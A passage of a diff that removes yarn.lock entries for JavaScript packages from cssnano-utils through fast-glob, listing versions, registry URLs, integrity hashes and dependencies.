"^5.1.0" - postcss-normalize-timing-functions "^5.1.0" - postcss-normalize-unicode "^5.1.1" - postcss-normalize-url "^5.1.0" - postcss-normalize-whitespace "^5.1.1" - postcss-ordered-values "^5.1.3" - postcss-reduce-initial "^5.1.1" - postcss-reduce-transforms "^5.1.0" - postcss-svgo "^5.1.0" - postcss-unique-selectors "^5.1.1" - -cssnano-utils@^3.1.0: - version "3.1.0" - resolved "https://registry.yarnpkg.com/cssnano-utils/-/cssnano-utils-3.1.0.tgz#95684d08c91511edfc70d2636338ca37ef3a6861" - integrity sha512-JQNR19/YZhz4psLX/rQ9M83e3z2Wf/HdJbryzte4a3NSuafyp9w/I4U+hx5C2S9g41qlstH7DEWnZaaj83OuEA== - -cssnano@^5.1.12, cssnano@^5.1.8: - version "5.1.14" - resolved "https://registry.yarnpkg.com/cssnano/-/cssnano-5.1.14.tgz#07b0af6da73641276fe5a6d45757702ebae2eb05" - integrity sha512-Oou7ihiTocbKqi0J1bB+TRJIQX5RMR3JghA8hcWSw9mjBLQ5Y3RWqEDoYG3sRNlAbCIXpqMoZGbq5KDR3vdzgw== - dependencies: - cssnano-preset-default "^5.2.13" - lilconfig "^2.0.3" - yaml "^1.10.2" - -csso@^4.2.0: - version "4.2.0" - resolved "https://registry.yarnpkg.com/csso/-/csso-4.2.0.tgz#ea3a561346e8dc9f546d6febedd50187cf389529" - integrity sha512-wvlcdIbf6pwKEk7vHj8/Bkc0B4ylXZruLvOgs9doS5eOsOpuodOV2zJChSpkp+pRpYQLQMeF04nr3Z68Sta9jA== - dependencies: - css-tree "^1.1.2" - -csstype@^3.0.2: - version "3.1.0" - resolved "https://registry.yarnpkg.com/csstype/-/csstype-3.1.0.tgz#4ddcac3718d787cf9df0d1b7d15033925c8f29f2" - integrity sha512-uX1KG+x9h5hIJsaKR9xHUeUraxf8IODOwq9JLNPq6BwB04a/xgpq3rcx47l5BZu5zBPlgD342tdke3Hom/nJRA== - -debug@2.6.9, debug@^2.6.0: - version "2.6.9" - resolved "https://registry.yarnpkg.com/debug/-/debug-2.6.9.tgz#5d128515df134ff327e90a4c93f4e077a536341f" - integrity sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA== - dependencies: - ms "2.0.0" - -debug@^4.1.0, debug@^4.1.1: - version "4.3.4" - resolved "https://registry.yarnpkg.com/debug/-/debug-4.3.4.tgz#1319f6579357f2338d3337d2cdd4914bb5dcc865" - integrity sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ== - dependencies: - ms "2.1.2" - -decompress-response@^6.0.0: - version "6.0.0" - resolved "https://registry.yarnpkg.com/decompress-response/-/decompress-response-6.0.0.tgz#ca387612ddb7e104bd16d85aab00d5ecf09c66fc" - integrity sha512-aW35yZM6Bb/4oJlZncMH2LCoZtJXTRxES17vE3hoRiowU2kWHaJKFkSBDnDR+cm9J+9QhXmREyIfv0pji9ejCQ== - dependencies: - mimic-response "^3.1.0" - -deep-extend@^0.6.0: - version "0.6.0" - resolved "https://registry.yarnpkg.com/deep-extend/-/deep-extend-0.6.0.tgz#c4fa7c95404a17a9c3e8ca7e1537312b736330ac" - integrity sha512-LOHxIOaPYdHlJRtCQfDIVZtfw/ufM8+rVj649RIHzcm/vGwQRXFt6OPqIFWsm2XEMrNIEtWR64sY1LEKD2vAOA== - -deepmerge@^4.0.0, deepmerge@^4.2.2: - version "4.2.2" - resolved "https://registry.yarnpkg.com/deepmerge/-/deepmerge-4.2.2.tgz#44d2ea3679b8f4d4ffba33f03d865fc1e7bf4955" - integrity sha512-FJ3UgI4gIl+PHZm53knsuSFpE+nESMr7M4v9QcgB7S63Kj/6WqMiFQJpBBYz1Pt+66bZpP3Q7Lye0Oo9MPKEdg== - -default-gateway@^6.0.3: - version "6.0.3" - resolved "https://registry.yarnpkg.com/default-gateway/-/default-gateway-6.0.3.tgz#819494c888053bdb743edbf343d6cdf7f2943a71" - integrity sha512-fwSOJsbbNzZ/CUFpqFBqYfYNLj1NbMPm8MMCIzHjC83iSJRBEGmDUxU+WP661BaBQImeC2yHwXtz+P/O9o+XEg== - dependencies: - execa "^5.0.0" - -defer-to-connect@^2.0.0: - version "2.0.1" - resolved "https://registry.yarnpkg.com/defer-to-connect/-/defer-to-connect-2.0.1.tgz#8016bdb4143e4632b77a3449c6236277de520587" - integrity sha512-4tvttepXG1VaYGrRibk5EwJd1t4udunSOVMdLSAL6mId1ix438oPwPZMALY41FCijukO1L0twNcGsdzS7dHgDg== - -define-lazy-prop@^2.0.0: - version "2.0.0" - resolved "https://registry.yarnpkg.com/define-lazy-prop/-/define-lazy-prop-2.0.0.tgz#3f7ae421129bcaaac9bc74905c98a0009ec9ee7f" - integrity sha512-Ds09qNh8yw3khSjiJjiUInaGX9xlqZDY7JVryGxdxV7NPeuqQfplOpQ66yJFZut3jLa5zOwkXw1g9EI2uKh4Og== - -define-properties@^1.1.3: - version "1.1.4" - resolved "https://registry.yarnpkg.com/define-properties/-/define-properties-1.1.4.tgz#0b14d7bd7fbeb2f3572c3a7eda80ea5d57fb05b1" - integrity sha512-uckOqKcfaVvtBdsVkdPv3XjveQJsNQqmhXgRi8uhvWWuPYZCNlzT8qAyblUgNoXdHdjMTzAqeGjAoli8f+bzPA== - dependencies: - has-property-descriptors "^1.0.0" - object-keys "^1.1.1" - -del@^6.1.1: - version "6.1.1" - resolved "https://registry.yarnpkg.com/del/-/del-6.1.1.tgz#3b70314f1ec0aa325c6b14eb36b95786671edb7a" - integrity sha512-ua8BhapfP0JUJKC/zV9yHHDW/rDoDxP4Zhn3AkA6/xT6gY7jYXJiaeyBZznYVujhZZET+UgcbZiQ7sN3WqcImg== - dependencies: - globby "^11.0.1" - graceful-fs "^4.2.4" - is-glob "^4.0.1" - is-path-cwd "^2.2.0" - is-path-inside "^3.0.2" - p-map "^4.0.0" - rimraf "^3.0.2" - slash "^3.0.0" - -depd@2.0.0: - version "2.0.0" - resolved "https://registry.yarnpkg.com/depd/-/depd-2.0.0.tgz#b696163cc757560d09cf22cc8fad1571b79e76df" - integrity sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw== - -depd@~1.1.2: - version "1.1.2" - resolved "https://registry.yarnpkg.com/depd/-/depd-1.1.2.tgz#9bcd52e14c097763e749b274c4346ed2e560b5a9" - integrity sha512-7emPTl6Dpo6JRXOXjLRxck+FlLRX5847cLKEn00PLAgc3g2hTZZgr+e4c2v6QpSmLeFP3n5yUo7ft6avBK/5jQ== - -destroy@1.2.0: - version "1.2.0" - resolved "https://registry.yarnpkg.com/destroy/-/destroy-1.2.0.tgz#4803735509ad8be552934c67df614f94e66fa015" - integrity sha512-2sJGJTaXIIaR1w4iJSNoN0hnMY7Gpc/n8D4qSCJw8QqFWXf7cuAgnEHxBpweaVcPevC2l3KpjYCx3NypQQgaJg== - -detab@2.0.4: - version "2.0.4" - resolved "https://registry.yarnpkg.com/detab/-/detab-2.0.4.tgz#b927892069aff405fbb9a186fe97a44a92a94b43" - integrity sha512-8zdsQA5bIkoRECvCrNKPla84lyoR7DSAyf7p0YgXzBO9PDJx8KntPUay7NS6yp+KdxdVtiE5SpHKtbp2ZQyA9g== - dependencies: - repeat-string "^1.5.4" - -detect-node@^2.0.4: - version "2.1.0" - resolved "https://registry.yarnpkg.com/detect-node/-/detect-node-2.1.0.tgz#c9c70775a49c3d03bc2c06d9a73be550f978f8b1" - integrity sha512-T0NIuQpnTvFDATNuHN5roPwSBG83rFsuO+MXXH9/3N1eFbn4wcPjttvjMLEPWJ0RGUYgQE7cGgS3tNxbqCGM7g== - -detect-port-alt@^1.1.6: - version "1.1.6" - resolved "https://registry.yarnpkg.com/detect-port-alt/-/detect-port-alt-1.1.6.tgz#24707deabe932d4a3cf621302027c2b266568275" - integrity sha512-5tQykt+LqfJFBEYaDITx7S7cR7mJ/zQmLXZ2qt5w04ainYZw6tBf9dBunMjVeVOdYVRUzUOE4HkY5J7+uttb5Q== - dependencies: - address "^1.0.1" - debug "^2.6.0" - -detect-port@^1.3.0: - version "1.3.0" - resolved "https://registry.yarnpkg.com/detect-port/-/detect-port-1.3.0.tgz#d9c40e9accadd4df5cac6a782aefd014d573d1f1" - integrity sha512-E+B1gzkl2gqxt1IhUzwjrxBKRqx1UzC3WLONHinn8S3T6lwV/agVCyitiFOsGJ/eYuEUBvD71MZHy3Pv1G9doQ== - dependencies: - address "^1.0.1" - debug "^2.6.0" - -dir-glob@^3.0.1: - version "3.0.1" - resolved "https://registry.yarnpkg.com/dir-glob/-/dir-glob-3.0.1.tgz#56dbf73d992a4a93ba1584f4534063fd2e41717f" - integrity sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA== - dependencies: - path-type "^4.0.0" - -dns-equal@^1.0.0: - version "1.0.0" - resolved "https://registry.yarnpkg.com/dns-equal/-/dns-equal-1.0.0.tgz#b39e7f1da6eb0a75ba9c17324b34753c47e0654d" - integrity sha512-z+paD6YUQsk+AbGCEM4PrOXSss5gd66QfcVBFTKR/HpFL9jCqikS94HYwKww6fQyO7IxrIIyUu+g0Ka9tUS2Cg== - -dns-packet@^5.2.2: - version "5.4.0" - resolved "https://registry.yarnpkg.com/dns-packet/-/dns-packet-5.4.0.tgz#1f88477cf9f27e78a213fb6d118ae38e759a879b" - integrity sha512-EgqGeaBB8hLiHLZtp/IbaDQTL8pZ0+IvwzSHA6d7VyMDM+B9hgddEMa9xjK5oYnw0ci0JQ6g2XCD7/f6cafU6g== - dependencies: - "@leichtgewicht/ip-codec" "^2.0.1" - -dom-converter@^0.2.0: - version "0.2.0" - resolved "https://registry.yarnpkg.com/dom-converter/-/dom-converter-0.2.0.tgz#6721a9daee2e293682955b6afe416771627bb768" - integrity sha512-gd3ypIPfOMr9h5jIKq8E3sHOTCjeirnl0WK5ZdS1AW0Odt0b1PaWaHdJ4Qk4klv+YB9aJBS7mESXjFoDQPu6DA== - dependencies: - utila "~0.4" - -dom-serializer@^1.0.1: - version "1.4.1" - resolved "https://registry.yarnpkg.com/dom-serializer/-/dom-serializer-1.4.1.tgz#de5d41b1aea290215dc45a6dae8adcf1d32e2d30" - integrity sha512-VHwB3KfrcOOkelEG2ZOfxqLZdfkil8PtJi4P8N2MMXucZq2yLp75ClViUlOVwyoHEDjYU433Aq+5zWP61+RGag== - dependencies: - domelementtype "^2.0.1" - domhandler "^4.2.0" - entities "^2.0.0" - -dom-serializer@^2.0.0: - version "2.0.0" - resolved "https://registry.yarnpkg.com/dom-serializer/-/dom-serializer-2.0.0.tgz#e41b802e1eedf9f6cae183ce5e622d789d7d8e53" - integrity sha512-wIkAryiqt/nV5EQKqQpo3SToSOV9J0DnbJqwK7Wv/Trc92zIAYZ4FlMu+JPFW1DfGFt81ZTCGgDEabffXeLyJg== - dependencies: - domelementtype "^2.3.0" - domhandler "^5.0.2" - entities "^4.2.0" - -domelementtype@^2.0.1, domelementtype@^2.2.0, domelementtype@^2.3.0: - version "2.3.0" - resolved "https://registry.yarnpkg.com/domelementtype/-/domelementtype-2.3.0.tgz#5c45e8e869952626331d7aab326d01daf65d589d" - integrity sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw== - -domhandler@^4.0.0, domhandler@^4.2.0, domhandler@^4.3.1: - version "4.3.1" - resolved "https://registry.yarnpkg.com/domhandler/-/domhandler-4.3.1.tgz#8d792033416f59d68bc03a5aa7b018c1ca89279c" - integrity sha512-GrwoxYN+uWlzO8uhUXRl0P+kHE4GtVPfYzVLcUxPL7KNdHKj66vvlhiweIHqYYXWlw+T8iLMp42Lm67ghw4WMQ== - dependencies: - domelementtype "^2.2.0" - -domhandler@^5.0.1, domhandler@^5.0.2, domhandler@^5.0.3: - version "5.0.3" - resolved "https://registry.yarnpkg.com/domhandler/-/domhandler-5.0.3.tgz#cc385f7f751f1d1fc650c21374804254538c7d31" - integrity sha512-cgwlv/1iFQiFnU96XXgROh8xTeetsnJiDsTc7TYCLFd9+/WNkIqPTxiM/8pSd8VIrhXGTf1Ny1q1hquVqDJB5w== - dependencies: - domelementtype "^2.3.0" - -domutils@^2.5.2, domutils@^2.8.0: - version "2.8.0" - resolved "https://registry.yarnpkg.com/domutils/-/domutils-2.8.0.tgz#4437def5db6e2d1f5d6ee859bd95ca7d02048135" - integrity sha512-w96Cjofp72M5IIhpjgobBimYEfoPjx1Vx0BSX9P30WBdZW2WIKU0T1Bd0kz2eNZ9ikjKgHbEyKx8BB6H1L3h3A== - dependencies: - dom-serializer "^1.0.1" - domelementtype "^2.2.0" - domhandler "^4.2.0" - -domutils@^3.0.1: - version "3.0.1" - resolved "https://registry.yarnpkg.com/domutils/-/domutils-3.0.1.tgz#696b3875238338cb186b6c0612bd4901c89a4f1c" - integrity sha512-z08c1l761iKhDFtfXO04C7kTdPBLi41zwOZl00WS8b5eiaebNpY00HKbztwBq+e3vyqWNwWF3mP9YLUeqIrF+Q== - dependencies: - dom-serializer "^2.0.0" - domelementtype "^2.3.0" - domhandler "^5.0.1" - -dot-case@^3.0.4: - version "3.0.4" - resolved "https://registry.yarnpkg.com/dot-case/-/dot-case-3.0.4.tgz#9b2b670d00a431667a8a75ba29cd1b98809ce751" - integrity sha512-Kv5nKlh6yRrdrGvxeJ2e5y2eRUpkUosIW4A2AS38zwSz27zu7ufDwQPi5Jhs3XAlGNetl3bmnGhQsMtkKJnj3w== - dependencies: - no-case "^3.0.4" - tslib "^2.0.3" - -dot-prop@^5.2.0: - version "5.3.0" - resolved "https://registry.yarnpkg.com/dot-prop/-/dot-prop-5.3.0.tgz#90ccce708cd9cd82cc4dc8c3ddd9abdd55b20e88" - integrity sha512-QM8q3zDe58hqUqjraQOmzZ1LIH9SWQJTlEKCH4kJ2oQvLZk7RbQXvtDM2XEq3fwkV9CCvvH4LA0AV+ogFsBM2Q== - dependencies: - is-obj "^2.0.0" - -duplexer@^0.1.2: - version "0.1.2" - resolved "https://registry.yarnpkg.com/duplexer/-/duplexer-0.1.2.tgz#3abe43aef3835f8ae077d136ddce0f276b0400e6" - integrity sha512-jtD6YG370ZCIi/9GTaJKQxWTZD045+4R4hTk/x1UyoqadyJ9x9CgSi1RlVDQF8U2sxLLSnFkCaMihqljHIWgMg== - -eastasianwidth@^0.2.0: - version "0.2.0" - resolved "https://registry.yarnpkg.com/eastasianwidth/-/eastasianwidth-0.2.0.tgz#696ce2ec0aa0e6ea93a397ffcf24aa7840c827cb" - integrity sha512-I88TYZWc9XiYHRQ4/3c5rjjfgkjhLyW2luGIheGERbNQ6OY7yTybanSpDXZa8y7VUP9YmDcYa+eyq4ca7iLqWA== - -ee-first@1.1.1: - version "1.1.1" - resolved "https://registry.yarnpkg.com/ee-first/-/ee-first-1.1.1.tgz#590c61156b0ae2f4f0255732a158b266bc56b21d" - integrity sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow== - -electron-to-chromium@^1.4.188: - version "1.4.192" - resolved "https://registry.yarnpkg.com/electron-to-chromium/-/electron-to-chromium-1.4.192.tgz#fac050058b3e0713b401a1088cc579e14c2ab165" - integrity sha512-8nCXyIQY9An88NXAp+PuPy5h3/w5ZY7Iu2lag65Q0XREprcat5F8gKhoHsBUnQcFuCRnmevpR8yEBYRU3d2HDw== - -emoji-regex@^8.0.0: - version "8.0.0" - resolved "https://registry.yarnpkg.com/emoji-regex/-/emoji-regex-8.0.0.tgz#e818fd69ce5ccfcb404594f842963bf53164cc37" - integrity sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A== - -emoji-regex@^9.2.2: - version "9.2.2" - resolved "https://registry.yarnpkg.com/emoji-regex/-/emoji-regex-9.2.2.tgz#840c8803b0d8047f4ff0cf963176b32d4ef3ed72" - integrity sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg== - -emojis-list@^3.0.0: - version "3.0.0" - resolved "https://registry.yarnpkg.com/emojis-list/-/emojis-list-3.0.0.tgz#5570662046ad29e2e916e71aae260abdff4f6a78" - integrity sha512-/kyM18EfinwXZbno9FyUGeFh87KC8HRQBQGildHZbEuRyWFOmv1U10o9BBp8XVZDVNNuQKyIGIu5ZYAAXJ0V2Q== - -emoticon@^3.2.0: - version "3.2.0" - resolved "https://registry.yarnpkg.com/emoticon/-/emoticon-3.2.0.tgz#c008ca7d7620fac742fe1bf4af8ff8fed154ae7f" - integrity sha512-SNujglcLTTg+lDAcApPNgEdudaqQFiAbJCqzjNxJkvN9vAwCGi0uu8IUVvx+f16h+V44KCY6Y2yboroc9pilHg== - -encodeurl@~1.0.2: - version "1.0.2" - resolved "https://registry.yarnpkg.com/encodeurl/-/encodeurl-1.0.2.tgz#ad3ff4c86ec2d029322f5a02c3a9a606c95b3f59" - integrity sha512-TPJXq8JqFaVYm2CWmPvnP2Iyo4ZSM7/QKcSmuMLDObfpH5fi7RUGmd/rTDf+rut/saiDiQEeVTNgAmJEdAOx0w== - -end-of-stream@^1.1.0: - version "1.4.4" - resolved "https://registry.yarnpkg.com/end-of-stream/-/end-of-stream-1.4.4.tgz#5ae64a5f45057baf3626ec14da0ca5e4b2431eb0" - integrity sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q== - dependencies: - once "^1.4.0" - -enhanced-resolve@^5.10.0: - version "5.12.0" - resolved "https://registry.yarnpkg.com/enhanced-resolve/-/enhanced-resolve-5.12.0.tgz#300e1c90228f5b570c4d35babf263f6da7155634" - integrity sha512-QHTXI/sZQmko1cbDoNAa3mJ5qhWUUNAq3vR0/YiD379fWQrcfuoX1+HW2S0MTt7XmoPLapdaDKUtelUSPic7hQ== - dependencies: - graceful-fs "^4.2.4" - tapable "^2.2.0" - -entities@^2.0.0: - version "2.2.0" - resolved "https://registry.yarnpkg.com/entities/-/entities-2.2.0.tgz#098dc90ebb83d8dffa089d55256b351d34c4da55" - integrity sha512-p92if5Nz619I0w+akJrLZH0MX0Pb5DX39XOwQTtXSdQQOaYH03S1uIQp4mhOZtAXrxq4ViO67YTiLBo2638o9A== - -entities@^3.0.1: - version "3.0.1" - resolved "https://registry.yarnpkg.com/entities/-/entities-3.0.1.tgz#2b887ca62585e96db3903482d336c1006c3001d4" - integrity sha512-WiyBqoomrwMdFG1e0kqvASYfnlb0lp8M5o5Fw2OFq1hNZxxcNk8Ik0Xm7LxzBhuidnZB/UtBqVCgUz3kBOP51Q== - -entities@^4.2.0, entities@^4.3.0: - version "4.3.1" - resolved "https://registry.yarnpkg.com/entities/-/entities-4.3.1.tgz#c34062a94c865c322f9d67b4384e4169bcede6a4" - integrity sha512-o4q/dYJlmyjP2zfnaWDUC6A3BQFmVTX+tZPezK7k0GLSU9QYCauscf5Y+qcEPzKL+EixVouYDgLQK5H9GrLpkg== - -error-ex@^1.3.1: - version "1.3.2" - resolved "https://registry.yarnpkg.com/error-ex/-/error-ex-1.3.2.tgz#b4ac40648107fdcdcfae242f428bea8a14d4f1bf" - integrity sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g== - dependencies: - is-arrayish "^0.2.1" - -es-module-lexer@^0.9.0: - version "0.9.3" - resolved "https://registry.yarnpkg.com/es-module-lexer/-/es-module-lexer-0.9.3.tgz#6f13db00cc38417137daf74366f535c8eb438f19" - integrity sha512-1HQ2M2sPtxwnvOvT1ZClHyQDiggdNjURWpY2we6aMKCQiUVxTmVs2UYPLIrD84sS+kMdUwfBSylbJPwNnBrnHQ== - -escalade@^3.1.1: - version "3.1.1" - resolved "https://registry.yarnpkg.com/escalade/-/escalade-3.1.1.tgz#d8cfdc7000965c5a0174b4a82eaa5c0552742e40" - integrity sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw== - -escape-goat@^2.0.0: - version "2.1.1" - resolved "https://registry.yarnpkg.com/escape-goat/-/escape-goat-2.1.1.tgz#1b2dc77003676c457ec760b2dc68edb648188675" - integrity sha512-8/uIhbG12Csjy2JEW7D9pHbreaVaS/OpN3ycnyvElTdwM5n6GY6W6e2IPemfvGZeUMqZ9A/3GqIZMgKnBhAw/Q== - -escape-html@^1.0.3, escape-html@~1.0.3: - version "1.0.3" - resolved "https://registry.yarnpkg.com/escape-html/-/escape-html-1.0.3.tgz#0258eae4d3d0c0974de1c169188ef0051d1d1988" - integrity sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow== - -escape-string-regexp@^1.0.5: - version "1.0.5" - resolved "https://registry.yarnpkg.com/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz#1b61c0562190a8dff6ae3bb2cf0200ca130b86d4" - integrity sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg== - -escape-string-regexp@^4.0.0: - version "4.0.0" - resolved "https://registry.yarnpkg.com/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz#14ba83a5d373e3d311e5afca29cf5bfad965bf34" - integrity sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA== - -eslint-scope@5.1.1: - version "5.1.1" - resolved "https://registry.yarnpkg.com/eslint-scope/-/eslint-scope-5.1.1.tgz#e786e59a66cb92b3f6c1fb0d508aab174848f48c" - integrity sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw== - dependencies: - esrecurse "^4.3.0" - estraverse "^4.1.1" - -esprima@^4.0.0: - version "4.0.1" - resolved "https://registry.yarnpkg.com/esprima/-/esprima-4.0.1.tgz#13b04cdb3e6c5d19df91ab6987a8695619b0aa71" - integrity sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A== - -esrecurse@^4.3.0: - version "4.3.0" - resolved "https://registry.yarnpkg.com/esrecurse/-/esrecurse-4.3.0.tgz#7ad7964d679abb28bee72cec63758b1c5d2c9921" - integrity sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag== - dependencies: - estraverse "^5.2.0" - -estraverse@^4.1.1: - version "4.3.0" - resolved "https://registry.yarnpkg.com/estraverse/-/estraverse-4.3.0.tgz#398ad3f3c5a24948be7725e83d11a7de28cdbd1d" - integrity sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw== - -estraverse@^5.2.0: - version "5.3.0" - resolved "https://registry.yarnpkg.com/estraverse/-/estraverse-5.3.0.tgz#2eea5290702f26ab8fe5370370ff86c965d21123" - integrity sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA== - -esutils@^2.0.2: - version "2.0.3" - resolved "https://registry.yarnpkg.com/esutils/-/esutils-2.0.3.tgz#74d2eb4de0b8da1293711910d50775b9b710ef64" - integrity sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g== - -eta@^2.0.0: - version "2.2.0" - resolved "https://registry.yarnpkg.com/eta/-/eta-2.2.0.tgz#eb8b5f8c4e8b6306561a455e62cd7492fe3a9b8a" - integrity sha512-UVQ72Rqjy/ZKQalzV5dCCJP80GrmPrMxh6NlNf+erV6ObL0ZFkhCstWRawS85z3smdr3d2wXPsZEY7rDPfGd2g== - -etag@~1.8.1: - version "1.8.1" - resolved "https://registry.yarnpkg.com/etag/-/etag-1.8.1.tgz#41ae2eeb65efa62268aebfea83ac7d79299b0887" - integrity sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg== - -eval@^0.1.8: - version "0.1.8" - resolved "https://registry.yarnpkg.com/eval/-/eval-0.1.8.tgz#2b903473b8cc1d1989b83a1e7923f883eb357f85" - integrity sha512-EzV94NYKoO09GLXGjXj9JIlXijVck4ONSr5wiCWDvhsvj5jxSrzTmRU/9C1DyB6uToszLs8aifA6NQ7lEQdvFw== - dependencies: - "@types/node" "*" - require-like ">= 0.1.1" - -eventemitter3@^4.0.0: - version "4.0.7" - resolved "https://registry.yarnpkg.com/eventemitter3/-/eventemitter3-4.0.7.tgz#2de9b68f6528d5644ef5c59526a1b4a07306169f" - integrity sha512-8guHBZCwKnFhYdHr2ysuRWErTwhoN2X8XELRlrRwpmfeY2jjuUN4taQMsULKUVo1K4DvZl+0pgfyoysHxvmvEw== - -events@^3.2.0: - version "3.3.0" - resolved "https://registry.yarnpkg.com/events/-/events-3.3.0.tgz#31a95ad0a924e2d2c419a813aeb2c4e878ea7400" - integrity sha512-mQw+2fkQbALzQ7V0MY0IqdnXNOeTtP4r0lN9z7AAawCXgqea7bDii20AYrIBrFd/Hx0M2Ocz6S111CaFkUcb0Q== - -execa@^5.0.0: - version "5.1.1" - resolved "https://registry.yarnpkg.com/execa/-/execa-5.1.1.tgz#f80ad9cbf4298f7bd1d4c9555c21e93741c411dd" - integrity sha512-8uSpZZocAZRBAPIEINJj3Lo9HyGitllczc27Eh5YYojjMFMn8yHMDMaUHE2Jqfq05D/wucwI4JGURyXt1vchyg== - dependencies: - cross-spawn "^7.0.3" - get-stream "^6.0.0" - human-signals "^2.1.0" - is-stream "^2.0.0" - merge-stream "^2.0.0" - npm-run-path "^4.0.1" - onetime "^5.1.2" - signal-exit "^3.0.3" - strip-final-newline "^2.0.0" - -express@^4.17.3: - version "4.18.1" - resolved "https://registry.yarnpkg.com/express/-/express-4.18.1.tgz#7797de8b9c72c857b9cd0e14a5eea80666267caf" - integrity sha512-zZBcOX9TfehHQhtupq57OF8lFZ3UZi08Y97dwFCkD8p9d/d2Y3M+ykKcwaMDEL+4qyUolgBDX6AblpR3fL212Q== - dependencies: - accepts "~1.3.8" - array-flatten "1.1.1" - body-parser "1.20.0" - content-disposition "0.5.4" - content-type "~1.0.4" - cookie "0.5.0" - cookie-signature "1.0.6" - debug "2.6.9" - depd "2.0.0" - encodeurl "~1.0.2" - escape-html "~1.0.3" - etag "~1.8.1" - finalhandler "1.2.0" - fresh "0.5.2" - http-errors "2.0.0" - merge-descriptors "1.0.1" - methods "~1.1.2" - on-finished "2.4.1" - parseurl "~1.3.3" - path-to-regexp "0.1.7" - proxy-addr "~2.0.7" - qs "6.10.3" - range-parser "~1.2.1" - safe-buffer "5.2.1" - send "0.18.0" - serve-static "1.15.0" - setprototypeof "1.2.0" - statuses "2.0.1" - type-is "~1.6.18" - utils-merge "1.0.1" - vary "~1.1.2" - -extend-shallow@^2.0.1: - version "2.0.1" - resolved "https://registry.yarnpkg.com/extend-shallow/-/extend-shallow-2.0.1.tgz#51af7d614ad9a9f610ea1bafbb989d6b1c56890f" - integrity sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug== - dependencies: - is-extendable "^0.1.0" - -extend@^3.0.0: - version "3.0.2" - resolved "https://registry.yarnpkg.com/extend/-/extend-3.0.2.tgz#f8b1136b4071fbd8eb140aff858b1019ec2915fa" - integrity sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g== - -fast-deep-equal@^3.1.1, fast-deep-equal@^3.1.3: - version "3.1.3" - resolved "https://registry.yarnpkg.com/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz#3a7d56b559d6cbc3eb512325244e619a65c6c525" - integrity sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q== - -fast-glob@^3.2.11: - version "3.2.12" - resolved "https://registry.yarnpkg.com/fast-glob/-/fast-glob-3.2.12.tgz#7f39ec99c2e6ab030337142da9e0c18f37afae80" - integrity sha512-DVj4CQIYYow0BlaelwK1pHl5n5cRSJfM60UA0zK891sVInoPri2Ekj7+e1CT3/3qxXenpI+nBBmQAcJPJgaj4w== - dependencies: - "@nodelib/fs.stat" "^2.0.2" - "@nodelib/fs.walk" "^1.2.3" - glob-parent "^5.1.2" - merge2 "^1.3.0" - micromatch 